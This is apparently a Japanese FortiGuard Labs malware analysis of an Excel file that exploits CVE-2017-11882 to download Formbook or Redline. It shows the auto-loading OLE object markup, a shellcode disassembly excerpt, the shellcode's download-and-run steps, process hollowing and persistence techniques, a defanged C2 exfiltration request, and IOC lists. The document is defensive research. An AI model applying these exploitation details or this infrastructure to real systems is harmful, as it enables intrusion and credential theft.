脅威リサーチ

CVE-2017-11882を悪用したExcel文書によるマルウェアの配信:パート1

投稿者 Xiaopeng Zhang | 2022年12月16日

FortiGuard Labsは先頃、実際の攻撃に使用されているファイルが埋め込まれたExcel文書を取得しました。もちろん、フォーティネットではこうした発見は常時行っています。私は今回、埋め込みファイル名がランダム化されていることに興味を引かれ、このExcel文書を分析することにしました。ファイルを簡単に調査したところ、CVE-2017-11882の脆弱性を悪用して不正なコードを実行し、被害者のデバイスにマルウェアを配信し実行していることがわかりました。

この分析では、細工されたExcel文書がCVE-2017-11882を悪用する方法、この脆弱性を悪用する際の動作、被害者のデバイスにダウンロードされるマルウェアファミリー、攻撃者が実行する不正行為について解説します。

影響を受けるプラットフォーム: Microsoft Windows
影響を受けるユーザー:     Windowsユーザー
影響:             被害者のデバイスを制御して、機密情報を収集
深刻度:            クリティカル

捕捉したExcel文書の分析

Excel文書の名前は「GAT412-IFF22.xlsx」です。このファイルは、Microsoftが開発したOOXML形式(Office Open XML、zip圧縮されたXMLベースファイル式)で保存されています。解凍プログラムでこのファイルを解凍すると、図1.1のように左側にフォルダツリー、右側にすべてのファイルが表示されます。「\xl\embeddings\」サブフォルダの最後にある「xtgjls.4flk6W」ファイルが、ランダム化された埋め込みファイルです。

図1.1:Excel文書のファイル構造の概要

それでは、Excelプログラムがどのように埋め込みファイルをロードするかを見ていきましよう。図1.2は、関連するファイルのコンテンツを示しています。「..\xl\ worksheets \sheet1.xml」と、それに対応するリレーションシップファイル「..\xl\ worksheets\_rels\sheet1.rels」が表示されています。

図1.2:Excelプログラムによる埋め込みファイルのロード

Excelプログラムは「sheet1.xml」のXMLデータを解析し、Oleオブジェクトデータを取得します。定義は以下のとおりです。

<oleObjects>

     <oleObject r:id=“rId1autoLoad=“trueshapeId=“1907progId=“L00”/>

</oleObjects>

  • r:id=“rId1”は、「sheet1.rels」ファイルで定義されたリレーションシップIDを設定します(図1.2を参照)。「target」属性は、文字列「../embeddings/xtgjls.4flk6W」に設定されていました。これは、Oleオブジェクトをロードする場所を指定しています。
  • autoLoad=“true”は、被害者に通知せずにOleオブジェクトを自動的にロードするよう設定します。
  • shapeId=“1907”は、「xtgjls.4flk6W」のデータの解析方法を指定しています。

ご存じのように、CVE-2017-11882は「EQNEDT32.EXE」に存在する脆弱性で、細工された数式データ(計算式データ)を処理する際に悪用される可能性があります。数式データは、埋め込みOleオブジェクトとしてExcel文書にインポートされます。この例の場合、ExcelプログラムはCOM(Component Object Model)オブジェクトを使用して、「xtgjls.4flk6W」ファイル内の数式データを「EQNEDT32.EXE」に渡して解析します。

「xtgjls.4flk6W」はMicrosoft Compound File Binary形式で保存されます。図1.3に示すように、「xtgjls.4flk6W」には2つのバイナリファイル、すなわち「rd8NsPZ44G0yvGbjKKpvH1QTwNU5u」と「[1]oLE10NATiVE」があります。

図1.3:細工された「xtgjls.4flk6W」ファイル

「[1]oLE10NATiVE」には細工された数式データが格納されており、これを使用して脆弱な「EQNEDT32.EXE」で悪意のあるシェルコードが実行されます。

CVE-2017-11882の悪用方法

適切な長さ検知を行わずに、nullで終了するデータをローカルバッファにコピーすると、スタックバッファオーバーフローが発生し、任意コードの実行が可能になります。影響を受けたローカルバッファは、関数リターンアドレスに対して2CHバイトの長さしかありません。したがって、コピーされたデータの長さが2CHバイトを超えていると、関数リターンアドレスが上書きされます。

図2.1:「[1]oLE10NATiVE」のコンテンツ

図2.1に色付きで示した部分が、nullで終了するコピー対象のデータで、長さは30Hバイトです。最後のdword(0x42F72E)(赤線で囲まれた部分)は、関数リターンアドレスを上書きするデータです。

図2.2:スタックバッファオーバーフロー発生時のスタックフレーム

図2.2は、「EQNEDT32.EXE」のスタックフレームのスクリーンショットです。関数リターンアドレスが0x42F72Eで上書きされています(元のアドレスは0x4115D8)。関数が返ると、0x42F72Eに戻って「ret」命令を実行します。これにより、スタックの先頭からEIPレジスタにdword(0x18F350)がポップされます。0x18F350で始まるデータは、「[1]oLE10NATiVE」ファイルにあるシェルコードです。このシェルコードはすでにスタックにコピーされています。

スタックの0x18F350にあるシェルコードのリストの一部を以下に示します。

0018F350

BA BF782F03

mov edx,32F78BF

0018F355

81C2 7D4416FD

add edx,FD16447D

0018F35B

8B32

mov esi,dword ptr ds:[edx]

0018F35D

8B2E

mov ebp,dword ptr ds:[esi]

0018F35F

BE 43FC3381

mov esi,8133FC43

0018F364

81F6 F39B7581

xor esi,81759BF3

0018F36A

8B0E

mov ecx,dword ptr ds:[esi]

0018F36C

55

push ebp

0018F36D

FFD1

call ecx           ;;;; <kernel32.GlobalLock>

0018F36F

05 88FBAA47

add eax,47AAFB88

0018F374

05 4BF65DB8

add eax,B85DF64B

0018F379

FFE0

jmp eax         ;;;; jump to decrypt dynamic code

0018F37B

022E

add ch,byte ptr ds:[esi]

0018F37D

F742 00 00E76000

test dword ptr ds:[edx],60E700

0018F384

04 F5

add al,F5

[…]

 

 

シェルコードはAPI GlobalLock()を呼び出し、「[1]oLE10NATiVE」のデータ全体を使用して、「EQNEDT32.EXE」のメモリ内のバッファアドレスを取得します。続いて、難読化されたコードのオフセットを計算し、そのコードを実行します。次に、一連の動的コードおよび文字列を復号します。

復号されたコードは、ExpandEnvironmentStringsW()、URLDownloadToFileW()、WideCharToMultiByte()、WinExec()、ExitProcess()など、複数のAPIを動的にロードします。その後、API URLDownloadToFileW()を呼び出し、URLから実行ファイルをダウンロードします。

図2.3:マルウェアがAPI URLDownloadToFileW()を呼び出しているところ

図2.3はデバッガーのスクリーンショットで、API URLDownloadToFileW()の部分を切り取ったものです。ご覧のように、2つ目のパラメータはダウンロードするファイルのURLであり、復号された文字列「hxxp[:]//lutanedukasi[.]co[.]id/wp-includes/Cikncbxlojqanjsfotzhopechujkgkeeyz.exe」です。このAPIの3つ目のパラメータは、ダウンロードされたファイルにローカルファイル名の「C:\Users\{ユーザー名}\AppData\Roaming\word.exe」を追加しています。

続いてAPI WinExec()が呼び出され、ダウンロードされたファイル(「C:\Users\{ユーザー名}\AppData\Roaming\word.exe」)を起動します。その後、被害者のマシンでマルウェアが起動します。シェルコードの最終ステップでAPI ExitProcess()が呼び出され、悪用された「EQNEDT32.EXE」のプロセスが終了します。

残念ながら、私はダウンロードされたファイルを入手できませんでした。それどころか、もはやこのファイルを入手できなくなったWebサイトから、404エラーコードを受信しました。しかしながら、マルウェアサンプルのログを調査した結果、この興味深いWebサイトについて有益な情報が得られました。

URLのパターンを分析すると、多くのサンプルがよく似たURLを使ってマルウェアをダウンロードしていることが判明しました。それを基に、私はこのWebサイトが2つのマルウェアファミリー、すなわちFormbookとRedlineの配信に使用されていることを突き止めました。したがって、入手できなかったダウンロードファイルは、おそらくFormbookまたはRedlineであると思われます。

次の表は、ログから取得したマルウェアとそれに関連するURLのリストです。この表の2つのマルウェアファミリーからサンプルを1つずつ選択し、さらに分析を進めていきます。

マルウェア

URL

“Formbook”

hxxp[:]//lutanedukasi[.]co[.]id/wp-includes/lsbjqoyofgkmqbuleooykdekgopmtglvjl.exe

“Formbook”

hxxp[:]//lutanedukasi[.]co[.]id/wp-includes/ueNusTuRz84DVHA.exe                  

“Formbook”

hxxp[:]//lutanedukasi[.]co[.]id/wp-includes/linecol_v4.1.1.exe                   

“Formbook”

hxxp[:]//lutanedukasi[.]co[.]id/wp-includes/k2p5vFXxdMpidBJ.exe                  

“Redline”

hxxp[:]//lutanedukasi[.]co[.]id/wp-includes/almac.exe                            

“Formbook”

hxxp[:]//lutanedukasi[.]co[.]id/wp-includes/fmbj2.exe                            

“Formbook”

hxxp[:]//lutanedukasi[.]co[.]id/wp-includes/onshedy.exe                          

“FormBook”

hxxp[:]//lutanedukasi[.]co[.]id/wp-includes/fbfslispuuepzv0.exe                  

“Redline”

hxxp[:]//lutanedukasi[.]co[.]id/wp-includes/storj.exe                             

“Redline”

hxxp[:]//lutanedukasi[.]co[.]id/wp-includes/hAiNVxLRl3ayBcV.exe                  

Formbookマルウェア

ここでは分析例として、「lsbjqoyofgkmqbuleooykdekgopmtglvjl.exe」ファイル(保存名は「C:\Users\{ユーザー名}\AppData\Roaming\word.exe」)を選択しました。これは、マルウェアサンプルのログの中で最新のFormbookサンプルです。

「Formbook」は良く知られた商用マルウェアです。「Mlware-as-a-Srvice」(MaaS)として、2016年から販売されています。Formbookは、いくつかの制御コマンドを使用して、被害者のデバイスから機密情報を窃取し、デバイスを乗っ取ることを目的としています。

今回は、Formbookサンプルが被害者のデバイスでどのように動作するかを解説します。

Formbookダウンローダー / ローダー

Formbookの実行ファイルは、BorlandのDelphi言語を使って開発されました。分析したところ、これはFormbookダウンローダー兼ローダーです。Formbookは複雑な手法を駆使して、容易に検知または分析されないようにしています。その方法を見ていきましょう。

サンプルを実行すると、図3.1のように、いずれかのビットマップリソース(「BBOKK」)からメモリにDllファイルが抽出されます。

図3.1:「BBOKK」から抽出されるDllファイル

メインフォームのFormCreate()関数が呼び出されると、サンプルはリソースセクションからビットマップデータを読み取り、Dllファイル(“BBOKK” Dllと呼ばれる)に復号します。“BBOKK” Dllがメモリ内に配置され、最後にエントリ関数が呼び出されます。

“BBOKK” Dllファイルは、Delphiでコンパイルされたもう一つのファイルです。このファイルはAPI timeSetEvent()を呼び出し、9秒間休止した後、タイマーを起動してタイマー関数を実行します。

タイマー関数の目的は、被害者のデバイスにFormbookペイロードをダウンロードして実行することです。

図3.2:Formbookペイロードファイルのダウンロード

図3.2のスクリーンショットでは、“BBOKK” DllがAPI InternetOpenUrlA()を呼び出してFormbookペイロードファイルをダウンロードしています。メモリを見るとわかるとおり、2つ目のパラメータはペイロードファイルのURLです。このファイルは、DiscordのCDN(コンテンツ配信ネットワーク)に添付ファイルとして保存されていました。

攻撃者は、ペイロードファイルがブロックまたは検知されるのを回避するために、このファイルの暗号化と変換を何度も繰り返していました。我々は復号とデータ復帰を4回行い、ようやく図3.3のFormbookペイロードファイルを取得することができました。

図3.3:メモリ内で復号されたFormbookペイロードファイルとそのサイズ

プロセスの空洞化(プロセスホローイング)によるFormbookの実行

“BBOKK” Dllでは、以下の3つのWindowsプロセス文字列が事前定義されています。

“C:\Windows\System32\calc.exe”
“C:\Windows\System32\rasphone.exe”
“C:\Windows\System32\cmd.exe”.

マルウェアはこれらのうちいずれかのプロセスを無作為に選択し、プロセスホローイング攻撃を実行します。そのために、まずは選択したプロセスを一時停止状態で作成する必要があります。その後、メモリにFormbookペイロードファイルをインジェクションして展開します。最後に、選択したプロセス内でリモートスレッドをコピーおよび作成します。スレッド関数はエントリ関数を呼び出し、インジェクションされたFormbookを実行します。

この処理を完了するために、CreateProcessW()、VirtualAllocEx()、WriteProcessMemory()、CreateRemoteThread()、ReadProcessMemory()など、さまざまなAPIが呼び出されます。

図4.1はデバッガーのスクリーンショットで、API CreateProcessW()の部分を切り取ったものです。無作為に選択されたプロセス(この例では「C:\Windows\System32\rasphone.exe」)など、いくつかのパラメータも表示されています。CreateFlagsの値は0x44で、これはCREATE_SUSPENDEDとIDLE_PRIORITY_CLASSを組み合わせたフラグです。

図4.1:一時停止状態のプロセスを作成するAPI CreateProcessW()

これ以降は、無作為に選択されたプロセスでFormbookペイロードファイルが実行されます。

被害者デバイスでの永続化

“BBOKK” Dllは、被害者のデバイスでFormbookを永続化します。Formbookペイロードファイルを取得すると、“BBOKK” Dllは図5.1のように、システムレジストリのサブキー「HKCU\Software\Microsoft\Windows\CurrentVersion\Run」の下に文字列値を作成します。

図5.1:システムレジストリの自動実行グループに追加されたFormbook

自動実行プロセスは「C:\Users\Public\Libraries\foyoqjbsL.url」です。これはインターネットショートカットファイル(*.url)で、通常はWebブラウザでWebサイトを開くために使用されます。図5.2に示すように、「URL」のプロパティはローカルファイルの完全パス(Webサイトのアドレス)です。この例では「C:\Users\Public\Libraries\Lsbjqoyof.exe」であり、これは「lsbjqoyofgkmqbuleooykdekgopmtglvjl.exe」ファイルからコピーされたものです。したがって、「foyoqjbsL.url」ファイルを介してシステムが起動すると、Formbookが起動します。

図5.2:「foyoqjbsL.url」のプロパティ

Formbookのペイロード

私は以前、添付のPowerPoint文書によるフィッシング攻撃で拡散された、別のFormbook亜種を詳細に分析したことがあります。そのときのFormbookサンプルの詳細については、Part IPart IIPart IIIでご確認いただけます。

コード、データ構造、および機能を新旧の亜種で比較したところ、大きな違いは見られませんでした。

“BBOKK” Dllが無作為に選択したプロセス(「rasphone.exe」など)は、前回の分析のPart IIで調査した「AddInProcess32.exe」と同じ役割を果たします。

どちらの亜種も以下のデータ構造と機能を備えています。

  • 「構成オブジェクト」
  • 「分析回避技術」
  • 一元管理プログラムであるExplorer.exeを介して、WindowsプロセスにFormbookをインジェクションする。
  • Webブラウザ、Eメールクライアント、IMクライアント、FTPクライアントなどのターゲットプロセスにFormbookを挿入し、そこから機密情報を窃取する。
  • C2サーバーの制御コマンド(「1」~「9」)を使用してデバイスを制御し、別のタスク(指定されたマルウェアの実行、Formbookのアップグレード、システムレジストリからのキー/値の削除、デバイスの再起動/停止など)を実行する。
 
新型亜種には新しいC2サーバーリストがあり、使用する前に復号されます。143個の暗号化された文字列があり、そのうちの64個がC2サーバーです。私はFormbookでこれらすべての文字列を復号するスクリプトを作成しました。参考までに、復号された文字列とC2サーバーのリストの一部を図6.1に示します。
図6.1:Formbookから復号された文字列の一部

この亜種で使用されるC2サーバーの完全なリストは、このブログ記事の末尾にあるIOC(Indicators of Compromise:侵害指標)のセクションに記載されています。

窃取したデータをC2サーバーに送信する際、Formbookはそのデータを暗号化し、Base64アルゴリズムでエンコードします。FormbookがC2サーバーに送信したHTTP GETパケットの例を以下に示します。

hxxp[:]//www[.]waraporn[.]net/dy47/?Rt=cJEPCFYxXhcTq&nBZhXF=VgD07dflFaksGVxdFL46l5VyvbABpSxwWaaMvOL1tn3EVaDMwmxyqfSWThCs5+vZuoswEw==

上記の例について:

  • 「www[.]waraporn[.]net」はC2サーバーのホストです。
  • 「dy47」は、復号された定数文字列「www.irolexwatchs.com/dy47/」から取得したものです。
  • 「?」以後のBase64でエンコードされた文字列は、被害者のデバイスから窃取されたデータです。

次回の分析では、前述したマルウェアの表からRedlineサンプルを1つ選択し、被害者のデバイスでどのように動作するかを調査し解説します。

フォーティネットのソリューション

フォーティネットのお客様は、FortiGuardのWebフィルタリング、IPS、およびアンチウイルスサービスによって、このFormbook亜種からすでに保護されています。

ダウンロード用のURLとC2サーバーは、FortiGuard Webフィルタリングサービスによって「不正Webサイト」に指定されています。

CVE-2017-11882の脆弱性は、IPSシグネチャ、MS.Office.EQNEDT32.EXE.Equation.Parsing.Memory.Corruptionによって保護されます。

FortiGuard CDR(コンテンツ無害化)サービスは、Excel文書に埋め込まれたファイルを無害化します。

FortiGuardアンチウイルスサービスは、FortiGateFortiMail、FortiClient、FortiEDRによって強化されています。これらの各ソリューションには、Fortinetアンチウイルスエンジンが組み込まれています。したがって、これらの製品をお使いのお客様は、最新の保護機能によって保護されます。

ユーザーの皆様には、無償で提供されているNSEトレーニングNSE 1 – 情報セキュリティ意識向上を受講することもお勧めします。このトレーニングにはインターネットの脅威に関するモジュールが含まれ、エンドユーザーはフィッシング攻撃を識別して自らを保護する方法を学習できます。

IOC(Indicator of Compromise:侵害指標)

URL:

hxxp[:]//lutanedukasi[.]co[.]id/wp-includes/Cikncbxlojqanjsfotzhopechujkgkeeyz.exe

hxxp[:]//lutanedukasi[.]co[.]id/wp-includes/lsbjqoyofgkmqbuleooykdekgopmtglvjl.exe

https[:]//cdn[.]discordapp[.]com/attachments/937614907917078588/1009001073970794576/Lsbjqoyofgkmqbuleooykdekgopmtglr

Formbook C2サーバーリスト:

  • “valeloaiza[.]com”
  • “nxmdta[.]quest”
  • “yennft[.]com”
  • “techwithnova[.]com”
  • “newssmart[.]xyz”
  • “devopstp[.]com”
  • “trophies3d[.]co[.]uk”
  • “helpagencia[.]online”
  • “fineclocksandsoaps[.]com”
  • “universerealtor[.]website”
  • “hyriver[.]com”
  • “xishangtao[.]com”
  • “getyourhostingnow[.]com”
  • “one-poker[.]com”
  • “ry-cw[.]com”
  • “colaye[.]us”
  • “russellbanx[.]com”
  • “rennentedieeinzige[.]uk”
  • “heliconiaparadise[.]site”
  • “234sportsagency[.]com”
  • “tenaciouslee[.]com”
  • “edenq[.]com”
  • “thecreakykettle[.]net”
  • “bedmate-ventricose[.]net”
  • “andreas-setiarama[.]com”
  • “advidd[.]com”
  • “enerplus[.]uk”
  • “cassavaproject[.]com”
  • “cambriacr[.]com”
  • “iserghini[.]com”
  • “creativacr[.]com”
  • “brandmarkenterprises[.]com”
  • “uaepilator[.]store”
  • “singhdeepak[.]space”
  • “belicosocigars[.]com”
  • “yysshh[.]top”
  • “rekapllc[.]store”
  • “fairblare[.]sbs”
  • “bryar[.]top”
  • “deniz2fotograf[.]online”
  • “viproom108[.]com”
  • “fullstackchannel[.]net”
  • “emjghq[.]com”
  • “theclientserver[.]xyz”
  • “smartprotectproducts[.]store”
  • “thebestconsultants[.]com”
  • “453wow[.]com”
  • “iwantcreativity[.]com”
  • “excel-facile[.]online”
  • “waraporn[.]net”
  • “topdeckholidays[.]com”
  • “slanguage[.]online”
  • “mistergreekmeat[.]com”
  • “bloombyz[.]store”
  • “sparkmediaagency[.]xyz”
  • “asdmohs18[.]website”
  • “playersclub[.]site”
  • “ariedejongtv[.]com”
  • “jinchuansh[.]com”
  • “affnewyork888s[.]com”
  • “ere46[.]site”
  • “wevlong[.]xyz”
  • “toniotheharrison[.]net”
  • “aroma4pets[.]com”   

サンプルSHA-256

[GAT412-IFF22.xlsx]

D1EA94C241E00E8E59A7212F30A9117393F9E883D2B509E566505BC337C473E3

[Formbook, lsbjqoyofgkmqbuleooykdekgopmtglvjl.exe]

C7B7CC6B73B04E2CD7D026A69D47139770ACE5A92457DA0F0C058EE438251B18